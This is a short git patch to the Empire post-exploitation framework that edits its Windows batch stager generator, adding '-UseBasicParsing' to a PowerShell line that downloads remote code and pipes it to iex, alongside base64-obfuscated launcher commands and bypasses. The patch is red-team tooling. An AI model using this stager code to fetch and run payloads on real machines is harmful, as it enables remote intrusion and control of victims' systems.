From 55aaaece7fa4f13c81b6de5996eb23b9fcfb6292 Mon Sep 17 00:00:00 2001 From: X0RW3LL <53377798+X0RW3LL@users.noreply.github.com> Date: Thu, 19 May 2022 22:39:26 +0200 Subject: [PATCH] Added -UseBasicParsing to iwr (#359) --- empire/server/stagers/windows/launcher_bat.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index 44f4008e9..2de81cdce 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -103,7 +103,7 @@ def generate(self): launcher_end = base64.b64encode( (launcher_obfuscate_command + launcher_bypasses).encode("UTF-8") ).decode("UTF-8") - launcher_end += "')|iex\"" + launcher_end += "') -UseBasicParsing|iex\"" launcher = launcher + launcher_end